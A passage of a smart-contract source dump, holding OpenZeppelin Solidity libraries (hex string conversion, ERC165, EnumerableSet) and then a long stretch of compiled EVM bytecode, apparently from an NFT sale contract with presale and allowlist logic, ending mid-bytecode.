to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IERC165.sol"; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Library for managing * https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive * types. * * Sets have the following properties: * * - Elements are added, removed, and checked for existence in constant time * (O(1)). * - Elements are enumerated in O(n). No guarantees are made on the ordering. * * ``` * contract Example { * // Add the library methods * using EnumerableSet for EnumerableSet.AddressSet; * * // Declare a set state variable * EnumerableSet.AddressSet private mySet; * } * ``` * * As of v3.3.0, sets of type `bytes32` (`Bytes32Set`), `address` (`AddressSet`) * and `uint256` (`UintSet`) are supported. */ library EnumerableSet { // To implement this library for multiple types with as little code // repetition as possible, we write it in terms of a generic Set type with // bytes32 values. // The Set implementation uses private functions, and user-facing // implementations (such as AddressSet) are just wrappers around the // underlying Set. // This means that we can only create new EnumerableSets for types that fit // in bytes32. struct Set { // Storage of set values bytes32[] _values; // Position of the value in the `values` array, plus 1 because index 0 // means a value is not in the set. mapping(bytes32 => uint256) _indexes; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function _add(Set storage set, bytes32 value) private returns (bool) { if (!_contains(set, value)) { set._values.push(value); // The value is stored at length-1, but we add 1 to all indexes // and use 0 as a sentinel value set._indexes[value] = set._values.length; return true; } else { return false; } } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function _remove(Set storage set, bytes32 value) private returns (bool) { // We read and store the value's index to prevent multiple reads from the same storage slot uint256 valueIndex = set._indexes[value]; if (valueIndex != 0) { // Equivalent to contains(set, value) // To delete an element from the _values array in O(1), we swap the element to delete with the last one in // the array, and then remove the last element (sometimes called as 'swap and pop'). // This modifies the order of the array, as noted in {at}. uint256 toDeleteIndex = valueIndex - 1; uint256 lastIndex = set._values.length - 1; if (lastIndex != toDeleteIndex) { bytes32 lastvalue = set._values[lastIndex]; // Move the last value to the index where the value to delete is set._values[toDeleteIndex] = lastvalue; // Update the index for the moved value set._indexes[lastvalue] = valueIndex; // Replace lastvalue's index to valueIndex } // Delete the slot where the moved value was stored set._values.pop(); // Delete the index for the deleted slot delete set._indexes[value]; return true; } else { return false; } } /** * @dev Returns true if the value is in the set. O(1). */ function _contains(Set storage set, bytes32 value) private view returns (bool) { return set._indexes[value] != 0; } /** * @dev Returns the number of values on the set. O(1). */ function _length(Set storage set) private view returns (uint256) { return set._values.length; } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function _at(Set storage set, uint256 index) private view returns (bytes32) { return set._values[index]; } // Bytes32Set struct Bytes32Set { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _add(set._inner, value); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _remove(set._inner, value); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) { return _contains(set._inner, value); } /** * @dev Returns the number of values in the set. O(1). */ function length(Bytes32Set storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) { return _at(set._inner, index); } // AddressSet struct AddressSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(AddressSet storage set, address value) internal returns (bool) { return _add(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(AddressSet storage set, address value) internal returns (bool) { return _remove(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(AddressSet storage set, address value) internal view returns (bool) { return _contains(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Returns the number of values in the set. O(1). */ function length(AddressSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(AddressSet storage set, uint256 index) internal view returns (address) { return address(uint160(uint256(_at(set._inner, index)))); } // UintSet struct UintSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(UintSet storage set, uint256 value) internal returns (bool) { return _add(set._inner, bytes32(value)); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(UintSet storage set, uint256 value) internal returns (bool) { return _remove(set._inner, bytes32(value)); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(UintSet storage set, uint256 value) internal view returns (bool) { return _contains(set._inner, bytes32(value)); } /** * @dev Returns the number of values on the set. O(1). */ function length(UintSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(UintSet storage set, uint256 index) internal view returns (uint256) { return uint256(_at(set._inner, index)); } }
0x6080604052600436106103ce5760003560e01c806389c75b32116101fd578063b88d4fde11610118578063dbe16c07116100ab578063f3fef3a31161007a578063f3fef3a314610b97578063f51f96dd14610bb7578063f5ebbd5414610bcd578063fc0c546a14610bed578063fd5e917714610c2057600080fd5b8063dbe16c0714610aee578063e73b073614610b0e578063e985e9c514610b2e578063f2fde38b14610b7757600080fd5b8063d7b12454116100e7578063d7b1245414610a84578063d7c3d77414610aa4578063d832b87a14610ab9578063d87d6bd514610ace57600080fd5b8063b88d4fde14610a11578063c87b56dd14610a31578063cacf41aa14610a51578063cff63a5614610a7157600080fd5b8063a383b53c11610190578063a8e0350d1161015f578063a8e0350d146109a6578063a96af0f4146109bb578063ac329fa2146109d1578063b336ad83146109f157600080fd5b8063a383b53c1461092f578063a51312c81461094f578063a626b7611461096f578063a82524b21461099057600080fd5b80639d547ae1116101cc5780639d547ae1146108af5780639f30669b146108cf578063a132aad1146108ef578063a22cb4651461090f57600080fd5b806389c75b321461083c5780638da5cb5b1461085c57806395d89b411461087a5780639916053b1461088f57600080fd5b806353135ca0116102ed57806370a0823111610280578063798108fc1161024f578063798108fc146107b85780637a44c297146107d85780637e26639f146108065780637f8502bf1461081c57600080fd5b806370a0823114610704578063715018a61461072457806373f4de9f146107395780637784d6f01461075957600080fd5b80635ccf0f5a116102bc5780635ccf0f5a146106795780636352211e1461069957806368428a1b146106b957806369c51730146106d357600080fd5b806353135ca0146105e75780635378ce241461060157806355f804b3146106435780635868c32a1461066357600080fd5b806323b872dd11610365578063379152de11610334578063379152de1461056757806342842e0e146105875780634c6865e5146105a75780634f6ccce7146105c757600080fd5b806323b872dd146104e7578063265ce8ff146105075780632f745c59146105275780633571f3b51461054757600080fd5b8063081812fc116103a1578063081812fc1461045b578063095ea7b3146104935780630c41f497146104b357806318160ddd146104c857600080fd5b806301ffc9a7146103d3578063051b14851461040857806306fdde0314610422578063070f5c0914610444575b600080fd5b3480156103df57600080fd5b506103f36103ee366004614b16565b610c40565b60405190151581526020015b60405180910390f35b34801561041457600080fd5b50601e546103f39060ff1681565b34801561042e57600080fd5b50610437610c6b565b6040516103ff9190614d07565b34801561045057600080fd5b50610459610cfd565b005b34801561046757600080fd5b5061047b610476366004614ba8565b610d92565b6040516001600160a01b0390911681526020016103ff565b34801561049f57600080fd5b506104596104ae3660046147cc565b610e27565b3480156104bf57600080fd5b50610459610f3d565b3480156104d457600080fd5b506008545b6040519081526020016103ff565b3480156104f357600080fd5b50610459610502366004614831565b610ff1565b61051a610515366004614a81565b611022565b6040516103ff9190614cc3565b34801561053357600080fd5b506104d96105423660046147cc565b61116b565b34801561055357600080fd5b5061047b610562366004614ba8565b611201565b34801561057357600080fd5b50610459610582366004614afb565b611260565b34801561059357600080fd5b506104596105a2366004614831565b61129d565b3480156105b357600080fd5b506104596105c2366004614b84565b6112b8565b3480156105d357600080fd5b506104d96105e2366004614ba8565b611302565b3480156105f357600080fd5b506014546103f39060ff1681565b34801561060d57600080fd5b5061062161061c3660046147cc565b611395565b6040805194855260ff90931660208501529183015260608201526080016103ff565b34801561064f57600080fd5b5061045961065e366004614b50565b6113de565b34801561066f57600080fd5b506104d960155481565b34801561068557600080fd5b50610459610694366004614a81565b61141f565b3480156106a557600080fd5b5061047b6106b4366004614ba8565b61150f565b3480156106c557600080fd5b506017546103f39060ff1681565b3480156106df57600080fd5b506017546106f290610100900460ff1681565b60405160ff90911681526020016103ff565b34801561071057600080fd5b506104d961071f3660046147af565b611586565b34801561073057600080fd5b5061045961160d565b34801561074557600080fd5b506103f36107543660046147af565b61167f565b34801561076557600080fd5b506107996107743660046147af565b600e602052600090815260409020805460019091015460ff8082169161010090041683565b6040805193845260ff92831660208501529116908201526060016103ff565b3480156107c457600080fd5b506104596107d3366004614bda565b61168c565b3480156107e457600080fd5b506012546107f39061ffff1681565b60405161ffff90911681526020016103ff565b34801561081257600080fd5b506104d9601a5481565b34801561082857600080fd5b506104596108373660046149e1565b611779565b34801561084857600080fd5b50610459610857366004614b84565b611af2565b34801561086857600080fd5b50600a546001600160a01b031661047b565b34801561088657600080fd5b50610437611b34565b34801561089b57600080fd5b506104596108aa366004614926565b611b43565b3480156108bb57600080fd5b506104596108ca36600461495a565b611cf1565b3480156108db57600080fd5b506104d96108ea3660046147af565b611f19565b3480156108fb57600080fd5b5061045961090a366004614ba8565b611f5e565b34801561091b57600080fd5b5061045961092a3660046148f1565b612021565b34801561093b57600080fd5b506103f361094a366004614b50565b6120e6565b34801561095b57600080fd5b5061045961096a366004614926565b612119565b34801561097b57600080fd5b506012546107f39062010000900461ffff1681565b34801561099c57600080fd5b506104d960165481565b3480156109b257600080fd5b506104d96122a6565b3480156109c757600080fd5b506104d960195481565b3480156109dd57600080fd5b506106216109ec3660046147af565b6122b7565b3480156109fd57600080fd5b506104d9610a0c366004614b50565b61241f565b348015610a1d57600080fd5b50610459610a2c366004614872565b61244f565b348015610a3d57600080fd5b50610437610a4c366004614ba8565b612487565b348015610a5d57600080fd5b50610459610a6c366004614a81565b612562565b61051a610a7f366004614ab5565b612645565b348015610a9057600080fd5b506103f3610a9f3660046147af565b612ba4565b348015610ab057600080fd5b506104d9612c47565b348015610ac557600080fd5b506104d9612cc6565b348015610ada57600080fd5b50610459610ae9366004614ba8565b612cd2565b348015610afa57600080fd5b50610437610b09366004614ba8565b612d08565b348015610b1a57600080fd5b506103f3610b293660046147af565b612daa565b348015610b3a57600080fd5b506103f3610b493660046147f8565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205460ff1690565b348015610b8357600080fd5b50610459610b923660046147af565b612db7565b348015610ba357600080fd5b50610459610bb23660046147cc565b612e4f565b348015610bc357600080fd5b506104d960185481565b348015610bd957600080fd5b506106f2610be83660046147f8565b612ebc565b348015610bf957600080fd5b507f000000000000000000000000c9eef4c46abcb11002c9bb8a47445c96cdbcaffb61047b565b348015610c2c57600080fd5b5061047b610c3b366004614ba8565b612f4d565b60006001600160e01b0319821663780e9d6360e01b1480610c655750610c6582612fac565b92915050565b606060008054610c7a90615058565b80601f0160208091040260200160405190810160405280929190818152602001828054610ca690615058565b8015610cf35780601f10610cc857610100808354040283529160200191610cf3565b820191906000526020600020905b815481529060010190602001808311610cd657829003601f168201915b5050505050905090565b600a546001600160a01b03163314610d305760405162461bcd60e51b8152600401610d2790614e72565b60405180910390fd5b60145460ff16610d525760405162461bcd60e51b8152600401610d2790614ef8565b6014805460ff19169055600854610d67612ffc565b6040517f927e6cd2dce24f32508868820cdc35f09d9de0f4b44e945114110125196fba9f90600090a3565b6000818152600260205260408120546001600160a01b0316610e0b5760405162461bcd60e51b815260206004820152602c60248201527f4552433732313a20617070726f76656420717565727920666f72206e6f6e657860448201526b34b9ba32b73a103a37b5b2b760a11b6064820152608401610d27565b506000908152600460205260409020546001600160a01b031690565b6000610e328261150f565b9050806001600160a01b0316836001600160a01b03161415610ea05760405162461bcd60e51b815260206004820152602160248201527f4552433732313a20617070726f76616c20746f2063757272656e74206f776e656044820152603960f91b6064820152608401610d27565b336001600160a01b0382161480610ebc5750610ebc8133610b49565b610f2e5760405162461bcd60e51b815260206004820152603860248201527f4552433732313a20617070726f76652063616c6c6572206973206e6f74206f7760448201527f6e6572206e6f7220617070726f76656420666f7220616c6c00000000000000006064820152608401610d27565b610f38838361301a565b505050565b600a546001600160a01b03163314610f675760405162461bcd60e51b8152600401610d2790614e72565b60175460ff16610fb25760405162461bcd60e51b81526020600482015260166024820152754e543a2053616c65206973206e6f742061637469766560501b6044820152606401610d27565b6017805460ff1916905542610fc660085490565b6040517f15b4b3d2d25688c15ceeb8688ce5149f4a6e1a71e0df748b16be5a0dd04b607b90600090a3565b610ffb3382613088565b6110175760405162461bcd60e51b8152600401610d2790614ea7565b610f3883838361317f565b60145460609060ff1680611038575060175460ff165b6110845760405162461bcd60e51b815260206004820152601a60248201527f4e543a20416e792073616c65206973207465726d696e617465640000000000006044820152606401610d27565b6002600b5414156110d75760405162461bcd60e51b815260206004820152601f60248201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c006044820152606401610d27565b6002600b5581516000906110ea9061332a565b9050801561113d578251336000908152600e6020526040902060019081018054909190611120908490610100900460ff16614f9a565b92506101000a81548160ff021916908360ff160217905550611156565b8251601960008282546111509190614f82565b90915550505b61115f836135d8565b6001600b559392505050565b600061117683611586565b82106111d85760405162461bcd60e51b815260206004820152602b60248201527f455243373231456e756d657261626c653a206f776e657220696e646578206f7560448201526a74206f6620626f756e647360a81b6064820152608401610d27565b506001600160a01b03919091166000908152600660209081526040808320938352929052205490565b600061120d600f6136f5565b82106112555760405162461bcd60e51b81526020600482015260176024820152764e543a20496e646578206f7574206f6620626f756e647360481b6044820152606401610d27565b610c65600f836136ff565b600a546001600160a01b0316331461128a5760405162461bcd60e51b8152600401610d2790614e72565b601e805460ff1916911515919091179055565b610f388383836040518060200160405280600081525061244f565b600a546001600160a01b031633146112e25760405162461bcd60e51b8152600401610d2790614e72565b6012805461ffff909216620100000263ffff000019909216919091179055565b600061130d60085490565b82106113705760405162461bcd60e51b815260206004820152602c60248201527f455243373231456e756d657261626c653a20676c6f62616c20696e646578206f60448201526b7574206f6620626f756e647360a01b6064820152608401610d27565b6008828154811061138357611383615124565b90600052602060002001549050919050565b601160205281600052604060002081815481106113b157600080fd5b6000918252602090912060059091020180546001820154600283015460039093015491945060ff16925084565b600a546001600160a01b031633146114085760405162461bcd60e51b8152600401610d2790614e72565b805161141b90601d9060208401906144af565b5050565b600a546001600160a01b031633146114495760405162461bcd60e51b8152600401610d2790614e72565b60005b815181101561141b576000601361147b84848151811061146e5761146e615124565b602002602001015161370b565b6040516114889190614c3b565b908152602001604051809103902060006101000a81548160ff0219169083151502179055507f45021f100f3e4c429576f4cb58398ea559280b3125cd6b6d49fa2b82a8afecb78282815181106114e0576114e0615124565b60200260200101516040516114f59190614d07565b60405180910390a1611508600182614f82565b905061144c565b6000818152600260205260408120546001600160a01b031680610c655760405162461bcd60e51b815260206004820152602960248201527f4552433732313a206f776e657220717565727920666f72206e6f6e657869737460448201526832b73a103a37b5b2b760b91b6064820152608401610d27565b60006001600160a01b0382166115f15760405162461bcd60e51b815260206004820152602a60248201527f4552433732313a2062616c616e636520717565727920666f7220746865207a65604482015269726f206164647265737360b01b6064820152608401610d27565b506001600160a01b031660009081526003602052604090205490565b600a546001600160a01b031633146116375760405162461bcd60e51b8152600401610d2790614e72565b60405162461bcd60e51b815260206004820152601d60248201527f4e543a2043616e6e6f742072656e6f756e6365206f776e6572736869700000006044820152606401610d27565b6000610c65600c8361377e565b600a546001600160a01b031633146116b65760405162461bcd60e51b8152600401610d2790614e72565b60175460ff16156117025760405162461bcd60e51b815260206004820152601660248201527513950e8814d85b19481a5cc81b9bdd081c185d5cd95960521b6044820152606401610d27565b60188390556017805461ff00191661010060ff851602179055611724816137a0565b6017805460ff19166001179081905560185460405161010090920460ff1682529042907f7ef3f57c7c810470372424b8e303f632778f314d2366d9239c0d6fad781da66d9060200160405180910390a3505050565b600a546001600160a01b031633146117a35760405162461bcd60e51b8152600401610d2790614e72565b835160125461ffff168111156117cb5760405162461bcd60e51b8152600401610d2790614de9565b8351811480156117db5750825181145b80156117e75750815181145b6118035760405162461bcd60e51b8152600401610d2790614e2b565b60005b81811015611aea57600086828151811061182257611822615124565b60209081029190910101516040516370a0823160e01b81523360048201526001600160a01b03909116906370a082319060240160206040518083038186803b15801561186d57600080fd5b505afa158015611881573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906118a59190614bc1565b10156119195760405162461bcd60e51b815260206004820152603960248201527f4e543a2043616e6e6f742063616c6c2062616c616e63654f66206d6574686f6460448201527f206f6e207468652065787465726e616c20636f6e7472616374000000000000006064820152608401610d27565b61194686828151811061192e5761192e615124565b6020026020010151600f6137da90919063ffffffff16565b5060006011600088848151811061195f5761195f615124565b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060018160018154018082558091505003906000526020600020906005020190508582815181106119b9576119b9615124565b602002602001015181600001819055508482815181106119db576119db615124565b60200260200101518160010160006101000a81548160ff021916908360ff160217905550838281518110611a1157611a11615124565b60200260200101518160020181905550858281518110611a3357611a33615124565b6020026020010151878381518110611a4d57611a4d615124565b60200260200101516001600160a01b03167f640c9df610e65a449421f11005db9c48f618ff8ad02eafd39fbe3a1c5a67ee85878581518110611a9157611a91615124565b6020026020010151878681518110611aab57611aab615124565b6020026020010151604051611acf92919060ff929092168252602082015260400190565b60405180910390a350611ae3600182614f82565b9050611806565b505050505050565b600a546001600160a01b03163314611b1c5760405162461bcd60e51b8152600401610d2790614e72565b6012805461ffff191661ffff92909216919091179055565b606060018054610c7a90615058565b600a546001600160a01b03163314611b6d5760405162461bcd60e51b8152600401610d2790614e72565b60125481516201000090910461ffff161015611b9b5760405162461bcd60e51b8152600401610d2790614de9565b60005b815181101561141b57611bd4828281518110611bbc57611bbc615124565b6020026020010151600f6137ef90919063ffffffff16565b15611cdf5760006001611c15848481518110611bf257611bf2615124565b60200260200101516001600160a01b031660009081526011602052604090205490565b611c1f9190614ff2565b9050828281518110611c3357611c33615124565b60200260200101516001600160a01b03167f6bcc29dd661ba9880d292f2f49edbc9eaec3944756b757b0234854eedcb51a1060116000868681518110611c7b57611c7b615124565b60200260200101516001600160a01b03166001600160a01b031681526020019081526020016000208381548110611cb457611cb4615124565b906000526020600020906005020160030154604051611cd591815260200190565b60405180910390a2505b611cea600182614f82565b9050611b9e565b600a546001600160a01b03163314611d1b5760405162461bcd60e51b8152600401610d2790614e72565b825160125461ffff16811115611d435760405162461bcd60e51b8152600401610d2790614de9565b825181148015611d535750815181145b611d6f5760405162461bcd60e51b8152600401610d2790614e2b565b60005b81811015611f1257611da7858281518110611d8f57611d8f615124565b6020026020010151600c6137da90919063ffffffff16565b506040518060600160405280858381518110611dc557611dc5615124565b60200260200101518152602001848381518110611de457611de4615124565b602002602001015160ff168152602001600060ff16815250600e6000878481518110611e1257611e12615124565b6020908102919091018101516001600160a01b03168252818101929092526040908101600020835181559183015160019092018054939091015160ff9081166101000261ffff199094169216919091179190911790558351849082908110611e7c57611e7c615124565b6020026020010151858281518110611e9657611e96615124565b60200260200101516001600160a01b03167fd05168db8043cce67afb354ec3e8649c2218a948007a4e5ddb137bade968fac9858481518110611eda57611eda615124565b6020026020010151604051611ef8919060ff91909116815260200190565b60405180910390a3611f0b600182614f82565b9050611d72565b5050505050565b6000611f2482612daa565b611f405760405162461bcd60e51b8152600401610d2790614d9a565b6001600160a01b038216600090815260116020526040902054610c65565b600a546001600160a01b03163314611f885760405162461bcd60e51b8152600401610d2790614e72565b60145460ff1615611fdb5760405162461bcd60e51b815260206004820152601960248201527f4e543a2050726573616c65206973206e6f7420706175736564000000000000006044820152606401610d27565b42601681905560158290556014805460ff1916600117905560405182907fc147e6a4093415fedfa3c5eec52d207a60276cb42b6acd4a6895d4b181179ce790600090a350565b6001600160a01b03821633141561207a5760405162461bcd60e51b815260206004820152601960248201527f4552433732313a20617070726f766520746f2063616c6c6572000000000000006044820152606401610d27565b3360008181526005602090815260408083206001600160a01b03871680855290835292819020805460ff191686151590811790915590519081529192917f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c31910160405180910390a35050565b600060136120f38361370b565b6040516121009190614c3b565b9081526040519081900360200190205460ff1692915050565b600a546001600160a01b031633146121435760405162461bcd60e51b8152600401610d2790614e72565b60125481516201000090910461ffff1610156121715760405162461bcd60e51b8152600401610d2790614de9565b60005b815181101561141b576121aa82828151811061219257612192615124565b6020026020010151600c6137ef90919063ffffffff16565b15612294578181815181106121c1576121c1615124565b60200260200101516001600160a01b03167f1b1f5237eb75af4a6e38cd50404cde84e04ac7a1c3fa84b999396e68801086ea600e600085858151811061220957612209615124565b6020908102919091018101516001600160a01b0316825281810192909252604090810160002060010154905161010090910460ff1681520160405180910390a2600e600083838151811061225f5761225f615124565b6020908102919091018101516001600160a01b031682528101919091526040016000908120908155600101805461ffff191690555b61229f600182614f82565b9050612174565b60006122b2600f6136f5565b905090565b6000806000806122c685612daa565b6122e25760405162461bcd60e51b8152600401610d2790614d9a565b6001600160a01b03851660009081526011602052604081205461230790600190614ff2565b6001600160a01b03871660009081526011602052604090208054919250908290811061233557612335615124565b600091825260208083206005909202909101546001600160a01b03891683526011909152604090912080548390811061237057612370615124565b60009182526020808320600160059093020191909101546001600160a01b038a16835260119091526040909120805460ff90921691849081106123b5576123b5615124565b906000526020600020906005020160020154601160008a6001600160a01b03166001600160a01b0316815260200190815260200160002084815481106123fd576123fd615124565b9060005260206000209060050201600301549450945094509450509193509193565b6000601c61242c8361370b565b6040516124399190614c3b565b9081526020016040518091039020549050919050565b6124593383613088565b6124755760405162461bcd60e51b8152600401610d2790614ea7565b61248184848484613804565b50505050565b6000818152600260205260409020546060906001600160a01b03166125065760405162461bcd60e51b815260206004820152602f60248201527f4552433732314d657461646174613a2055524920717565727920666f72206e6f60448201526e3732bc34b9ba32b73a103a37b5b2b760891b6064820152608401610d27565b6000612510613837565b90506000815111612530576040518060200160405280600081525061255b565b8061253a84613846565b60405160200161254b929190614c57565b6040516020818303038152906040525b9392505050565b600a546001600160a01b0316331461258c5760405162461bcd60e51b8152600401610d2790614e72565b60005b815181101561141b57600160136125b184848151811061146e5761146e615124565b6040516125be9190614c3b565b908152602001604051809103902060006101000a81548160ff0219169083151502179055507f65d525fb783e504cc4323307d8ae6e34d0a1822d7caca488ba524d0d33badfff82828151811061261657612616615124565b602002602001015160405161262b9190614d07565b60405180910390a161263e600182614f82565b905061258f565b60145460609060ff1661266a5760405162461bcd60e51b8152600401610d2790614ef8565b6002600b5414156126bd5760405162461bcd60e51b815260206004820152601f60248201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c006044820152606401610d27565b6002600b55336126cc57600080fd5b600083511161271d5760405162461bcd60e51b815260206004820181905260248201527f4e543a204d757374206d696e74206174206c65617374206f6e6520746f6b656e6044820152606401610d27565b6000612727613943565b1161276b5760405162461bcd60e51b815260206004820152601460248201527313950e88141c995cd85b19481d1a5b59481bdd5d60621b6044820152606401610d27565b61277482612daa565b6127905760405162461bcd60e51b8152600401610d2790614d9a565b6001600160a01b0382166000908152601160205260408120546127b590600190614ff2565b6001600160a01b0384166000908152601160205260409020805491925090829081106127e3576127e3615124565b60009182526020909120600260059092020101546040516370a0823160e01b81523360048201526001600160a01b038516906370a082319060240160206040518083038186803b15801561283657600080fd5b505afa15801561284a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061286e9190614bc1565b10156128e25760405162461bcd60e51b815260206004820152603860248201527f4e543a2053656e6465722062616c616e6365206f6e2074686520636f6e74726160448201527f6374206c657373207468616e206d696e2062616c616e636500000000000000006064820152608401610d27565b6001600160a01b038316600090815260116020526040812080548390811061290c5761290c615124565b6000918252602080832033845260046005909302019190910181526040808320546001600160a01b03881684526011909252909120805460ff9092169250908390811061295b5761295b615124565b6000918252602090912060016005909202010154855160ff918216916129849190841690614f82565b11156129de5760405162461bcd60e51b815260206004820152602360248201527f4e543a2050726573616c6520636f6e7472616374206c696d697420657863656560448201526219195960ea1b6064820152608401610d27565b84516001600160a01b038516600090815260116020526040902080543492919085908110612a0e57612a0e615124565b906000526020600020906005020160000154612a2a9190614fd3565b1115612a785760405162461bcd60e51b815260206004820152601f60248201527f4e543a2050726573616c652c20696e73756666696369656e742066756e6473006044820152606401610d27565b84516001600160a01b0385166000908152601160205260409020805484908110612aa457612aa4615124565b600091825260208083203384526004600590930201919091019052604081208054909190612ad690849060ff16614f9a565b92506101000a81548160ff021916908360ff160217905550845160116000866001600160a01b03166001600160a01b031681526020019081526020016000208381548110612b2657612b26615124565b90600052602060002090600502016003016000828254612b469190614f82565b9091555050845160405190815233906001600160a01b038616907fb9f2571e9e71e1b60488705d4558dc8f55303e0e0b9f14d20d277e2657db88749060200160405180910390a3612b96856135d8565b6001600b5595945050505050565b600080826001600160a01b03166370a08231612bc8600a546001600160a01b031690565b6040516001600160e01b031960e084901b1681526001600160a01b03909116600482015260240160206040518083038186803b158015612c0757600080fd5b505afa158015612c1b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612c3f9190614bc1565b101592915050565b60145460009060ff16612c6c5760405162461bcd60e51b8152600401610d2790614ef8565b600060165411612cbe5760405162461bcd60e51b815260206004820152601e60248201527f4e543a2050726573616c65206861736e277420737461727465642079657400006044820152606401610d27565b6122b2613943565b60006122b2600c6136f5565b600a546001600160a01b03163314612cfc5760405162461bcd60e51b8152600401610d2790614e72565b612d05816137a0565b50565b6000818152601b60205260409020805460609190612d2590615058565b80601f0160208091040260200160405190810160405280929190818152602001828054612d5190615058565b8015612d9e5780601f10612d7357610100808354040283529160200191612d9e565b820191906000526020600020905b815481529060010190602001808311612d8157829003601f168201915b50505050509050919050565b6000610c65600f8361377e565b600a546001600160a01b03163314612de15760405162461bcd60e51b8152600401610d2790614e72565b6001600160a01b038116612e465760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610d27565b612d0581613985565b600a546001600160a01b03163314612e795760405162461bcd60e51b8152600401610d2790614e72565b47811115612e8657600080fd5b6040516001600160a01b0383169082156108fc029083906000818181858888f19350505050158015610f38573d6000803e3d6000fd5b6000612ec783612daa565b612ee35760405162461bcd60e51b8152600401610d2790614d9a565b6001600160a01b03831660009081526011602052604090208054612f0990600190614ff2565b81548110612f1957612f19615124565b600091825260208083206001600160a01b03861684526004600590930201919091019052604090205460ff16905092915050565b6000612f59600c6136f5565b8210612fa15760405162461bcd60e51b81526020600482015260176024820152764e543a20496e646578206f7574206f6620626f756e647360481b6044820152606401610d27565b610c65600c836136ff565b60006001600160e01b031982166380ac58cd60e01b1480612fdd57506001600160e01b03198216635b5e139f60e01b145b80610c6557506301ffc9a760e01b6001600160e01b0319831614610c65565b6000806016541161300d5750600090565b6016546122b29042614ff2565b600081815260046020526040902080546001600160a01b0319166001600160a01b038416908117909155819061304f8261150f565b6001600160a01b03167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560405160405180910390a45050565b6000818152600260205260408120546001600160a01b03166131015760405162461bcd60e51b815260206004820152602c60248201527f4552433732313a206f70657261746f7220717565727920666f72206e6f6e657860448201526b34b9ba32b73a103a37b5b2b760a11b6064820152608401610d27565b600061310c8361150f565b9050806001600160a01b0316846001600160a01b03161480613147575083600